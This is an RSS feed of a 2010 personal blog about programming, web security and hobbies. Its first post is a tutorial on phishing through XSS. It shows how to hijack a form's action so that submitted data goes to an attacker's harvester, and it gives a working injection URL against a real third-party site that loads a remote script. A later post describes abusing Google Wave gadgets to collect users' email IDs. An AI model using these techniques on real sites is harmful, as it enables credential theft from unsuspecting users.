<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Thomas Stig Jacobsen's constant why</title>
	<atom:link href="http://www.e-x-e.dk/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.e-x-e.dk</link>
	<description>Programming, Internet security and ballroom dance</description>
	<lastBuildDate>Sat, 03 Jul 2010 18:30:13 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=abc</generator>
		<item>
		<title>How to phish the effective and smart way using XSS</title>
		<link>http://www.e-x-e.dk/2010/07/03/how-to-phish-the-effective-and-smart-way-using-xss-3/</link>
		<comments>http://www.e-x-e.dk/2010/07/03/how-to-phish-the-effective-and-smart-way-using-xss-3/#comments</comments>
		<pubDate>Sat, 03 Jul 2010 18:30:13 +0000</pubDate>
		<dc:creator>Thomas Stig Jacobsen</dc:creator>
				<category><![CDATA[Internet security]]></category>
		<category><![CDATA[Labs]]></category>
		<category><![CDATA[Programming]]></category>
		<category><![CDATA[Javascript]]></category>
		<category><![CDATA[Phishing]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[XSS]]></category>

		<guid isPermaLink="false">http://www.e-x-e.dk/2010/07/03/how-to-phish-the-effective-and-smart-way-using-xss-3/</guid>
		<description><![CDATA[Normally if you wish to phish a user for information like passwords, emails, social security numbers, credit card numbers or what not and you’re exploiting some website with a bug in its handling of user content (either from a database or from the GET data) (Please note that POST XSS exploits isn’t really easy to [...]]]></description>
			<content:encoded><![CDATA[<p>Normally if you wish to phish a user for information like passwords, emails, social security numbers, credit card numbers or what not and you’re exploiting some website with a bug in its handling of user content (either from a database or from the GET data) <em>(Please note that POST XSS exploits isn’t really easy to exploit since you’ll have to make the user POST the data him/herself)</em> you normally would like to send the user to your own phishing page where you have copied the compromised sites design, CSS etc.&#160; </p>
<p>Please note that when phishing by exploiting an unprotected frame which gets its content URL from a GET querystring (RFI) you’ll have to either copy the CSS etc to your own site or simply link to the sites own CSS files.</p>
<p>Moving on to the topic of this post, exploiting XSS vulnerabilities to phish the attacked users, of course without the users having a clue. </p>
<p>One of the methods which I don’t see get exploited is the JavaScript call “document.formName.action=’http://your-harvester-site.com/exploitingAction.php’”.</p>
<p>With the code above it’s possible to create a man-in-the-middle kind of attack where you can either just choose to log the information of the form or you can choose to tamper with the information before posting the data to the original action.</p>
<p>It can be done with this 3 step attack:</p>
<p><strong>1. step:</strong> Inject the forms of a XSS exploitable page, e.g. with a script like this: <a href="http://www.e-x-e.dk/labs/autoPhisher/injector.js">http://www.e-x-e.dk/labs/autoPhisher/injector.js</a>. A super simple yet effective script I’ll be using for this PoC.</p>
<p><strong>2. step:</strong> Receive the form data, log it/tamper it and send the victim back to the original site with a new exploited URL injected with a “pusher”. This script could be done like this:</p>
<p><a href="http://www.e-x-e.dk/labs/autoPhisher/source/index.php">http://www.e-x-e.dk/labs/autoPhisher/source/index.php</a></p>
<p>This script is using a subclass of the abstract class TopLoader I’m using, it just has some basic functions for getting, setting, saving, deleting etc. </p>
<p>The last part of the script is computing a new pusher-injected URL to which the victim will be sent.</p>
<p><strong>3. step:</strong> Let the pusher to its job</p>
<p>Since we cannot do a POST call for the victim to the original action serverside through PHP, we’ll have to make the browser do it for us through JavaScript. </p>
<p>The pusher script generates some JavaScript which is started when the is window.onload(). It tries to set the value of the form elements from the original form submit by the victim with getElementById. If the element is not found by this method it’ll try to set the value via the getElementsByName. Last but not least it auto submits the correct form with document.forms[{form ID}].submit(). The generator script is here:</p>
<p><a href="http://www.e-x-e.dk/labs/autoPhisher/source/pusher.php">http://www.e-x-e.dk/labs/autoPhisher/source/pusher.php</a></p>
<p>Here a place you can test this thing out:</p>
<p><a href="http://www.doid.dk/page/main.asp?error=timeout&amp;referer=%22%3E%3Cscript%20src=http://www.e-x-e.dk/labs/autoPhisher/injector.js%3E%3C/script%3E">http://www.doid.dk/page/main.asp?error=timeout&amp;referer=%22%3E%3Cscript%20src=http://www.e-x-e.dk/labs/autoPhisher/injector.js%3E%3C/script%3E</a></p>
<p>Example user / password: testerLars / testerLars</p>
<p>Let me know what you think by making some comments and maybe leaving some more usage examples.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.e-x-e.dk/2010/07/03/how-to-phish-the-effective-and-smart-way-using-xss-3/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Choosing hash method in PHP</title>
		<link>http://www.e-x-e.dk/2010/07/03/choosing-hash-method-in-php/</link>
		<comments>http://www.e-x-e.dk/2010/07/03/choosing-hash-method-in-php/#comments</comments>
		<pubDate>Fri, 02 Jul 2010 23:49:32 +0000</pubDate>
		<dc:creator>Thomas Stig Jacobsen</dc:creator>
				<category><![CDATA[Internet security]]></category>
		<category><![CDATA[Labs]]></category>
		<category><![CDATA[Programming]]></category>
		<category><![CDATA[Testing and stuff]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[Security]]></category>

		<guid isPermaLink="false">http://www.e-x-e.dk/2010/07/03/choosing-hash-method-in-php/</guid>
		<description><![CDATA[So the other day I wondered the consequences when choosing one hashing method over another when it comes to security. If we say that some hacker has got a hold of your (of course!) encrypted fx passwords then what will it matter that you choose a unbroken, uncommon and maybe slower encryption method? Speed I [...]]]></description>
			<content:encoded><![CDATA[<p>So the other day I wondered the consequences when choosing one hashing method over another when it comes to security. If we say that some hacker has got a hold of your (of course!) encrypted fx passwords then what will it matter that you choose a unbroken, uncommon and maybe slower encryption method?</p>
<p><b>Speed</b></p>
<p>I started with some benchmarking: <a href="http://e-x-e.dk/labs/timing/">http://e-x-e.dk/labs/timing/</a> (source: <a href="http://www.e-x-e.dk/labs/timing/source.php">http://www.e-x-e.dk/labs/timing/source.php</a>).</p>
<p>This basically creates 10000 random strings with a length of 50 and then encrypting all of these random strings with all of the hashing methods of my php installation’s disposal. This outputs a sorted list of the methods. The consequents of choosing fx a slow hashing method means that you’ll have a bit more load on your server since speed == load. But then again, choosing a slow hashing method will also mean a slower bruteforce for the hacker – buying your users (or you) more time to change their passwords and you closing the hole. But you’ll have to remember that where your bigger load/increased hashing-time caused by the slower hashing method is spread out the bruteforcers isn’t. So it’ll be a bigger hit to the bruteforcer than it will be to you.</p>
<p><b>Common vs. uncommon method</b></p>
<p>When choosing a hashing method it can also be a benefit from my point of view to choose a less common method for hashing your password/information if you have the option. And the argument is quite simple I think. With common methods like md5 which is used by the majority of sites today there are already constructed huge (HUGE) rainbow tables etc. (<a href="http://www.freerainbowtables.com/da/tables/md5/">http://www.freerainbowtables.com/da/tables/md5/</a>). Therefore by choosing a common hashing method you are also decreasing it effectiveness since a lot of the string combinations have already been computed.</p>
<p>Choosing a more uncommon hashing method will get rid of this problem, but then again, this maybe result in a slower computing of the hash as well, and for some – that’s a problem. By choosing a fx a tiger(2), SHA-1 or SHA-512 hash over fx. md5 you would decrease the effectiveness/speed of the bruteforce. </p>
<p><b>Hash method attacks</b></p>
<p>The effectiveness of a hash method is of course also influenced by if it has been fx collision attacked (<a href="http://en.wikipedia.org/wiki/Collision_attack">http://en.wikipedia.org/wiki/Collision_attack</a>) or a preimage attack (<a href="http://en.wikipedia.org/wiki/Preimage_attack">http://en.wikipedia.org/wiki/Preimage_attack</a>). Therefore you should also have this in your considerations when choosing a hashing method for your site.</p>
<p><b>Other things to consider</b></p>
<p>Things like salting your passwords etc etc is naturally also a good idea (maybe even with some HUGE salts, to ensure the length of the password extends the typical length of passwords and thereby setting the rainbow tables out of play). Some of these considerations might come in a later post.</p>
<p>I think there a lot fo pros and cons in this matter but as a general conclusion I think it’s time for the use of some more uncommon hashing methods in order to strengthen the security of information if hashed information is compromised. What do you think is the best hashing method to use and why?</p>
]]></content:encoded>
			<wfw:commentRss>http://www.e-x-e.dk/2010/07/03/choosing-hash-method-in-php/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Hacking Google Wave (XSS, XSSR)</title>
		<link>http://www.e-x-e.dk/2010/01/16/a-blogpost-about-hacking-google-wave-with-xss-and-xssr/</link>
		<comments>http://www.e-x-e.dk/2010/01/16/a-blogpost-about-hacking-google-wave-with-xss-and-xssr/#comments</comments>
		<pubDate>Sat, 16 Jan 2010 11:47:32 +0000</pubDate>
		<dc:creator>Thomas Stig Jacobsen</dc:creator>
				<category><![CDATA[Internet security]]></category>
		<category><![CDATA[Labs]]></category>
		<category><![CDATA[Programming]]></category>
		<category><![CDATA[Testing and stuff]]></category>
		<category><![CDATA[Google Wave]]></category>
		<category><![CDATA[Javascript]]></category>
		<category><![CDATA[Security]]></category>

		<guid isPermaLink="false">http://www.e-x-e.dk/2010/01/16/a-blogpost-about-hacking-google-wave-with-xss-and-xssr/</guid>
		<description><![CDATA[The last couple of days I’ve been fooling around with Google Wave and it’s so called “Gadgets”. In relation to this I  couldn’t help trying out some simple XSS and XSSR techniques which I’ll now show you and hopefully the Google Wave developers so they can secure the Gadgets – creating a even better product. [...]]]></description>
			<content:encoded><![CDATA[<p>The last couple of days I’ve been fooling around with Google Wave and it’s so called “Gadgets”. In relation to this I  couldn’t help trying out some simple XSS and XSSR techniques which I’ll now show you and hopefully the Google Wave developers so they can secure the Gadgets – creating a even better product. These gadget tests was made in the Google Wave preview and not in the Sandbox because I’m still waiting for being granted access to the Sandbox. When I acquire access to the Sandbox I’ll follow up on this blogpost. Lets get started with the fun shall we? <img src='http://www.e-x-e.dk/wordpress/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p>So  I started with stealing a basic example, cleaned it down, leaving only the raw gadget. From there I used the “gadgets.util.registerOnLoadHandler(init);” functionality to load potentially malicious code onLoad of the Gadget. This can be used to prompt the viewer of the Gadget for eg. login information. The normal trusting user wouldn’t suspect this risk since it was prompted by Google Wave, right? <img src='http://www.e-x-e.dk/wordpress/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> </p>
<p>Passing on I’ve created a couple of buttons in the Gadget which called a couple of Javascript function which did a couple of different things, one simple alerted the user, just to show that you could do anything.</p>
<p>One button changed window.top.location, sending the user to a completely other site, away from the “protecting” environment of Google Wave.</p>
<p>One button got the viewers Google Wave ID (an email), his/hers display name and his/hers thumbnail url. This could maybe be used to created fake accounts on websites, compromising the viewers exclusive use of his/hers email. Of course the email could also be harvested and sold to spamming bad guys with a lot of “Great deals on Viagra”. <img src='http://www.e-x-e.dk/wordpress/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> </p>
<p>The last button I created in this little Gadget example did also change the window.top.location but this time not to an url but instead to some data:text/html – base64 encoded. This could be used to show ads or propaganda to the viewer without a possibility to block a specific url, since this was content defined in the Gadget’s code itself.</p>
<p>This is what I’ve been doing the last day or two <img src='http://www.e-x-e.dk/wordpress/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' />  I have you read this and spread the word and of course leave a comment or a trackback. As said I’ll be back with more Google Wave security when I get access to the Sandbox <img src='http://www.e-x-e.dk/wordpress/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p>My Gadget can be viewed and tested at this URL:</p>
<p><a href="http://e-x-e.dk/labs/waveHack/hack1.xml">http://e-x-e.dk/labs/waveHack/hack1.xml</a></p>
<div id="scid:66721397-FF69-4ca6-AEC4-17E6B3208830:35b6e93e-7d55-49bd-a1f0-64bf5ff661ad" class="wlWriterEditableSmartContent" style="margin: 0px; display: inline; float: none; padding: 0px;">
<p>Or you can just watch the screenshots:<br />
<a style="border: 0px;" href="http://cid-32e9a60b12499ac6.skydrive.live.com/redir.aspx?page=browse&amp;resid=32E9A60B12499AC6!282&amp;ct=photos"><img style="border: 0px;" src="http://www.e-x-e.dk/wordpress/wp-content/2010/01/InlineRepresentationa8cc7e07644f4eec9357123988fa8320.jpg" alt="Vis Google Wave hack" /></a></p>
<div style="width: 400px; text-align: right;"><a href="http://cid-32e9a60b12499ac6.skydrive.live.com/redir.aspx?page=browse&amp;resid=32E9A60B12499AC6!282&amp;ct=photos">See all screenshots</a></div>
</div>
]]></content:encoded>
			<wfw:commentRss>http://www.e-x-e.dk/2010/01/16/a-blogpost-about-hacking-google-wave-with-xss-and-xssr/feed/</wfw:commentRss>
		<slash:comments>5</slash:comments>
		</item>
		<item>
		<title>Streaming multimedia content to a PS3 system from Windows, Mac or Linux</title>
		<link>http://www.e-x-e.dk/2009/12/26/streaming-multimedia-content-to-a-ps3-system-from-windows-mac-or-linux/</link>
		<comments>http://www.e-x-e.dk/2009/12/26/streaming-multimedia-content-to-a-ps3-system-from-windows-mac-or-linux/#comments</comments>
		<pubDate>Sat, 26 Dec 2009 19:54:49 +0000</pubDate>
		<dc:creator>Thomas Stig Jacobsen</dc:creator>
				<category><![CDATA[Computers]]></category>
		<category><![CDATA[Hardware]]></category>
		<category><![CDATA[Review]]></category>
		<category><![CDATA[Testing and stuff]]></category>
		<category><![CDATA[DLNA]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[Mac]]></category>
		<category><![CDATA[PlayStation 3]]></category>
		<category><![CDATA[Streaming]]></category>
		<category><![CDATA[Windows]]></category>

		<guid isPermaLink="false">http://www.e-x-e.dk/2009/12/26/streaming-multimedia-content-to-a-ps3-system-from-windows-mac-or-linux/</guid>
		<description><![CDATA[My brother just got a new Playstation 3 for Christmas and since he is away to London right now I thought I would also have some fun with it Anyway, I wanted to watch a movie and that’s no problem when we got a NAS at home but the DLNA server of the device is [...]]]></description>
			<content:encoded><![CDATA[<p>My brother just got a new Playstation 3 for Christmas and since he is away to London right now I thought I would also have some fun with it <img src='http://www.e-x-e.dk/wordpress/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p>Anyway, I wanted to watch a movie and that’s no problem when we got a NAS at home but the DLNA server of the device is setup to only take content from the music folder on the device (for some reason the DNLA server in the NAS can only provide content from one folder). So I had to find another way to push content to the PS3 system. I knew I wanted to use the network connection since the whole house is build on this network anyway, and secondly I’m rather lazy. Furthermore I really wanted to take advantage of the build-in DNLA streamer/player in the PS3 so I had to setup some kind of DNLA server on my laptop or other kind of computer.</p>
<p>I Googled around the interwebs and found <a href="http://code.google.com/p/ps3mediaserver/" target="_blank">Java PS3 Media Server</a> at Google Code. It’s an awesome project which I hope continues. Well the project looked really nice and I downloaded and installed the server only my laptop which easily should be able to serve the content seen from a processor (Intel Core 2 Duo, 1.8 GHz) and memory (3 GB) point of view.</p>
<p>First I tried to stream some random video content and is ran smoothly but when I choose a bit more demanding kind of content the stream just couldn’t keep up with the demand. I firstly tried to lower the transcoding settings and looked at the network load at the same time. This is what I found:</p>
<p>Note that I boosted the transcode buffer maximum size up to 600.0 MB.</p>
<p><strong>Streaming audio</strong></p>
<p>I set the default quality of audio streaming down from 640 KBit/s to 320 KBit/s and I did that first of all because I wanted to keep my portability and not needing a network cable plugged into both the laptop and the PS3 which both were operating wirelessly. Secounly I didn’t need all of that quality since I rip my CD’s at 320 KBit/s and the transcoding was going into AC3 which means that even at a low bitrate I would get rather good quality out of the <a href="http://www.samsung.com/dk/consumer/tv-home-theatre/tv/lcd-tv/LE32B535P7WXXE/index.idx?pagetype=prd_detail" target="_blank">Samsung LE32B535</a> which is connected to the PS3. I also changed the number of audio channels from a whooping 5.1 (6 channels) to stereo (2 channels) again because I wanted portability and I wasn’t streaming to any surround sound system.</p>
<p>When buffering a song the network load hits properly just maxes out. When the starting buffer is full and streaming normally the network load is just around 125.000 byte/sec (0.96 Mbit/sec) which I think is really good (when filling rest of the buffer). Keeping the normal network load under 1 Mbit/sec. means that nearly every wireless setup will be able to stream smoothly.</p>
<p><strong>Streaming pictures</strong></p>
<p>Not much to say here to be quite frank. The times it takes for the pictures to load is of course dependant of the size of the pictures and of course the maximum network speed.</p>
<p><strong>Streaming video and problems</strong></p>
<p>Good software always have a butt, and this one got a bad one of those. My network connection couldn’t keep up with the request of data and therefore the video was a real pain the in ass to watch. Well this only happen with some movies. I tried ripping in different bitrates at 1800 kilobyte/sec. the video stuttered every some seconds, but at around 1150 kilobyte/sec the network connection could keep up, but only just (stutters sometimes). So the real pain in the but is the network speed, I would recommend using cables (at least 100 megabit/sec. of course) when streaming stuff to your PS3 using this software. You could use at lower bitrate but then it wouldn’t really be fun to watch on a full HD monitor, right?</p>
<p>I think you should try it out <img src='http://www.e-x-e.dk/wordpress/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' />  In my tests both my PS3 and my laptop was in the other range of the wireless access point. When I get the time I’ll try the same tests with both devices connected to the network with cables.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.e-x-e.dk/2009/12/26/streaming-multimedia-content-to-a-ps3-system-from-windows-mac-or-linux/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Maximum performance in Windows XP, Windows Server 2000 and Windows Server 2003 and compromising security</title>
		<link>http://www.e-x-e.dk/2009/12/23/maximum-performance-in-windows-xp-windows-server-2000-and-windows-server-2003-and-compromising-security/</link>
		<comments>http://www.e-x-e.dk/2009/12/23/maximum-performance-in-windows-xp-windows-server-2000-and-windows-server-2003-and-compromising-security/#comments</comments>
		<pubDate>Wed, 23 Dec 2009 20:46:20 +0000</pubDate>
		<dc:creator>Thomas Stig Jacobsen</dc:creator>
				<category><![CDATA[Computers]]></category>
		<category><![CDATA[Internet security]]></category>
		<category><![CDATA[Microsoft]]></category>
		<category><![CDATA[Security]]></category>

		<guid isPermaLink="false">http://www.e-x-e.dk/2009/12/23/maximum-performance-in-windows-xp-windows-server-2000-and-windows-server-2003-and-compromising-security/</guid>
		<description><![CDATA[Microsoft back in the day release a small paper on how to minimize the effect from the antivirus software on the operating system’s performance. Let me point out that the paper was released in July 2007. But despite the fact of this almost (in computer and internet terms) prehistoric release date TrendLabs’s writer David Sancho [...]]]></description>
			<content:encoded><![CDATA[<p>Microsoft back in the day release a small paper on how to minimize the effect from the antivirus software on the operating system’s performance. Let me point out that the paper was released in July 2007.</p>
<p>But despite the fact of this almost (in computer and internet terms) prehistoric release date TrendLabs’s writer David Sancho still found it relevant to comment on it December 21, 2009. Hole smoke, talk about late timing.</p>
<p>The paper is written about which files you can let your antivirus software not scan in order to increase the performance of your operating system. The decrease of performance is due to file locking. Microsoft recommends that if you are having performance issues cost by the antivirus which is caused by these locked files. It’s a quick and rather dirty fix, which is also what David Sancho wants to point out.</p>
<p>David Sancho got the point when he say the following:</p>
<blockquote><p>In line with this, we advise users to educate themselves fully about these recommendations before taking any action.</p></blockquote>
<p>I states that the biggest risk to the consumers computer and internet security is the consumer themselves. As security professionals we need to secure the consumers from themselves because, sadly, they don’t have a clue of what they are doing or what they are agreeing when visiting malicious and non-malicious websites. This of course, is badly generalised but if you as a security concerned programmer wants to create the most secure environment for your user, you’ll have to secure the user from the user itself.</p>
<p>Back to the Microsoft paper. Microsoft as a huge influence on the users should consider more carefully what they are releasing to the public and most of all they should re-read their own papers at least every year in order to make sure that they are giving their users the best kind of advise and in that way contributing to a more secure environment for the normal user.</p>
<p>What do you think of all this? What should Microsoft do to create a more secure envirnorment? Or should the users be more poweruser like?</p>
<p>The Microsoft paper can be found <a href="http://support.microsoft.com/?scid=kb;en-us;822158&amp;x=10&amp;y=15" target="_blank">here</a>.</p>
<p>The blog post by David Sancho can be found <a href="http://blog.trendmicro.com/microsoft-virus-scanning-recommendations-bring-risks/" target="_blank">here</a>.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.e-x-e.dk/2009/12/23/maximum-performance-in-windows-xp-windows-server-2000-and-windows-server-2003-and-compromising-security/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Having fun with chaos</title>
		<link>http://www.e-x-e.dk/2009/12/13/having-fun-with-chaos/</link>
		<comments>http://www.e-x-e.dk/2009/12/13/having-fun-with-chaos/#comments</comments>
		<pubDate>Sun, 13 Dec 2009 21:17:11 +0000</pubDate>
		<dc:creator>Thomas Stig Jacobsen</dc:creator>
				<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://www.e-x-e.dk/2009/12/13/having-fun-with-chaos/</guid>
		<description><![CDATA[So right now I’m writing a rather huge project in school about “mathematical chaos theory in conjunction with traditional statistics in relation with a chemical experiment”. It’s REALLY exciting and fun (in a very geeky way). When working with numeric chaotic datasets it’s really handy to show the dataset in a graphical way. I of [...]]]></description>
			<content:encoded><![CDATA[<p>So right now I’m writing a rather huge project in school about “mathematical chaos theory in conjunction with traditional statistics in relation with a chemical experiment”. It’s REALLY exciting and fun (in a very geeky way). When working with numeric chaotic datasets it’s really handy to show the dataset in a graphical way. I of course choose to use the <a href="http://code.google.com/intl/da/apis/chart/" target="_blank">Google Chart API</a> and created a simple sample application based on the “<a href="http://math.bu.edu/DYSYS/arcadia/sect5.html" target="_blank">Valentine's Grouse</a>”. The application can be altered by editing the GET parameter called “k”. </p>
<p><a href="http://e-x-e.dk/labs/math/chaos.php" target="_blank">The application</a></p>
<p><a href="http://e-x-e.dk/labs/math/chaos.php?k=2.9" target="_blank">The application with the “k” parameter set to “2.9”</a></p>
<p>The application is programmed in PHP and the source code can be seen <a href="http://e-x-e.dk/labs/math/chaosSource.php" target="_blank">here</a>.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.e-x-e.dk/2009/12/13/having-fun-with-chaos/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Joomla hacks that makes your day easier</title>
		<link>http://www.e-x-e.dk/2009/12/13/joomla-hacks-that-makes-your-day-easier/</link>
		<comments>http://www.e-x-e.dk/2009/12/13/joomla-hacks-that-makes-your-day-easier/#comments</comments>
		<pubDate>Sun, 13 Dec 2009 19:06:48 +0000</pubDate>
		<dc:creator>Thomas Stig Jacobsen</dc:creator>
				<category><![CDATA[Programming]]></category>
		<category><![CDATA[hack]]></category>
		<category><![CDATA[Joomla]]></category>
		<category><![CDATA[PHP]]></category>

		<guid isPermaLink="false">http://www.e-x-e.dk/2009/12/13/joomla-hacks-that-makes-your-day-easier/</guid>
		<description><![CDATA[So If you read my previous post about the fact that Joomla sucks and why Joomla makes me so frustrated you properly thought I would be nice with some solutions on the problems stated. So I created some hacks as answers, here goes: A custom menu-maker operating in only one sub-level because that is what [...]]]></description>
			<content:encoded><![CDATA[<p>So If you read my previous post about the fact that Joomla sucks and why Joomla makes me so frustrated you properly thought I would be nice with some solutions on the problems stated.</p>
<p>So I created some hacks as answers, here goes:</p>
<p>A custom menu-maker operating in only one sub-level because that is what I needed. But if you need infinite sub-level just create a function from the code beneath.</p>
<pre class="php">&nbsp;
<span style="color: #0000ff;">$menu</span> = JSite::<span style="color: #006600;">getMenu</span><span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span>;
<span style="color: #b1b100;">foreach</span> <span style="color: #66cc66;">&#40;</span><span style="color: #0000ff;">$menu</span>-&gt;<span style="color: #006600;">getItems</span><span style="color: #66cc66;">&#40;</span><span style="color: #ff0000;">&quot;parent&quot;</span>, <span style="color: #ff0000;">&quot;0&quot;</span><span style="color: #66cc66;">&#41;</span> <span style="color: #b1b100;">as</span> <span style="color: #0000ff;">$item</span><span style="color: #66cc66;">&#41;</span> <span style="color: #66cc66;">&#123;</span>
	<a href="http://www.php.net/echo"><span style="color: #000066;">echo</span></a> <span style="color: #ff0000;">&quot;
&lt;li&gt;&lt;a href=&quot;</span>\<span style="color: #ff0000;">&quot;/$item-&quot;</span>&gt;link\<span style="color: #ff0000;">&quot;&gt;&quot;</span> . <span style="color: #0000ff;">$item</span>-&gt;<span style="color: #006600;">name</span> . <span style="color: #ff0000;">&quot;&lt;/a&gt;&quot;</span>;
	<span style="color: #b1b100;">if</span> <span style="color: #66cc66;">&#40;</span><span style="color: #0000ff;">$menu</span>-&gt;<span style="color: #006600;">getItems</span><span style="color: #66cc66;">&#40;</span><span style="color: #ff0000;">&quot;parent&quot;</span>, <span style="color: #0000ff;">$item</span>-&gt;<span style="color: #006600;">id</span><span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&#41;</span> <span style="color: #66cc66;">&#123;</span>
		<a href="http://www.php.net/echo"><span style="color: #000066;">echo</span></a> <span style="color: #ff0000;">&quot;
&lt;ul&gt;&quot;</span>;
		<a href="http://www.php.net/echo"><span style="color: #000066;">echo</span></a> <span style="color: #ff0000;">&quot;
&nbsp;
&quot;</span>;
		<span style="color: #b1b100;">foreach</span> <span style="color: #66cc66;">&#40;</span><span style="color: #0000ff;">$menu</span>-&gt;<span style="color: #006600;">getItems</span><span style="color: #66cc66;">&#40;</span><span style="color: #ff0000;">&quot;parent&quot;</span>, <span style="color: #0000ff;">$item</span>-&gt;;id<span style="color: #66cc66;">&#41;</span> <span style="color: #b1b100;">as</span> <span style="color: #0000ff;">$subItem</span><span style="color: #66cc66;">&#41;</span> <span style="color: #66cc66;">&#123;</span>
			<a href="http://www.php.net/echo"><span style="color: #000066;">echo</span></a> <span style="color: #ff0000;">&quot;
&lt;li&gt;&lt;a href=&quot;</span>\<span style="color: #ff0000;">&quot;/$item-&quot;</span>&gt;link\<span style="color: #ff0000;">&quot;&gt;&quot;</span> . <span style="color: #0000ff;">$subItem</span>-&gt;<span style="color: #006600;">name</span> . <span style="color: #ff0000;">&quot;&lt;/a&gt;&lt;/li&gt;
&nbsp;
&quot;</span>;
		<span style="color: #66cc66;">&#125;</span>
		<a href="http://www.php.net/echo"><span style="color: #000066;">echo</span></a> <span style="color: #ff0000;">&quot;
&nbsp;
&quot;</span>;
		<a href="http://www.php.net/echo"><span style="color: #000066;">echo</span></a> <span style="color: #ff0000;">&quot;&lt;/ul&gt;
&nbsp;
&quot;</span>;
	<span style="color: #66cc66;">&#125;</span>
	<a href="http://www.php.net/echo"><span style="color: #000066;">echo</span></a> <span style="color: #ff0000;">&quot;&lt;/li&gt;
&nbsp;
<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span>;
<span style="color: #66cc66;">&#125;</span></pre>
<p>Please note that the menu items and the sub-level items is objects and not arrays of data.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.e-x-e.dk/2009/12/13/joomla-hacks-that-makes-your-day-easier/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Why Joomla sucks!</title>
		<link>http://www.e-x-e.dk/2009/12/09/why-joomla-sucks/</link>
		<comments>http://www.e-x-e.dk/2009/12/09/why-joomla-sucks/#comments</comments>
		<pubDate>Wed, 09 Dec 2009 22:01:40 +0000</pubDate>
		<dc:creator>Thomas Stig Jacobsen</dc:creator>
				<category><![CDATA[Labs]]></category>
		<category><![CDATA[Programming]]></category>
		<category><![CDATA[Joomla]]></category>
		<category><![CDATA[PHP]]></category>

		<guid isPermaLink="false">http://www.e-x-e.dk/2009/12/09/why-joomla-sucks/</guid>
		<description><![CDATA[So I got this job from a customer: setup a design from a sliced PSD file into some CSS formatted XHTML. Fair enough, that couldn’t be that hard – and it wasn’t. The real pain the in ass is NOW: I have to set the darn thing up so it can run in Joomla! I’ve [...]]]></description>
			<content:encoded><![CDATA[<p>So I got this job from a customer: setup a design from a sliced PSD file into some CSS formatted XHTML. Fair enough, that couldn’t be that hard – and it wasn’t. The real pain the in ass is NOW:</p>
<p>I have to set the darn thing up so it can run in Joomla! I’ve heard good things about Joomla in the past and I thought it would be a pleasure to do so. But I was wrong – boy was I wrong?!</p>
<p>First of all I got this horizontal menu at the top. I made it so it beautifully supports sub-items, nicely done in jQuery and in CSS. But since Joomla can’t generate the menu correctly itself I now have to hack Joomla and the menu in order to get the right view. It could have been nicely done if just Joomla offered some kind of advanced template functions like: “getMenuItems($menuId)”. I guess I’m just frustrated, I’ll move on to the some of the other stuff I guess – or so I thought.</p>
<p>I thought I could setup the place where the content goes but nooooooo. The div where the content goes is very specific with paddings, margins and width but I thought that putting in some content wouldn’t fuck that up but I was wrong again. Because for some unknown reason Joomla had to create nested divs, tables and what not inside my perfect CSS. And I can’t really hack this part because the “content holder” that Joomla uses is reused by all of it’s freaking components. I begin to wonder if it would be easier and faster to create this freaking thing from scratch!</p>
<p>I just gave up for today with a little hope though all of these freaking problems today. Because I maybe found a secret weapon within Joomla, an API – yes you read right! An API! The holy grail for a lot of developers as myself which do not accept the second best solution. But now I got a new problem! Only like 5 or 10% of this holy grail is documented in their API reference wiki.</p>
<p>Please comment or contact me if you got some solutions to some of my problems, if you are a Joomla geek or if you also got problems with Joomla and want to get it of your chest – just like I just did <img src='http://www.e-x-e.dk/wordpress/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
]]></content:encoded>
			<wfw:commentRss>http://www.e-x-e.dk/2009/12/09/why-joomla-sucks/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>New working portfolio at a new domain</title>
		<link>http://www.e-x-e.dk/2009/11/05/new-working-portfolio-at-a-new-domain/</link>
		<comments>http://www.e-x-e.dk/2009/11/05/new-working-portfolio-at-a-new-domain/#comments</comments>
		<pubDate>Thu, 05 Nov 2009 19:08:04 +0000</pubDate>
		<dc:creator>Thomas Stig Jacobsen</dc:creator>
				<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://www.e-x-e.dk/2009/11/05/new-working-portfolio-at-a-new-domain/</guid>
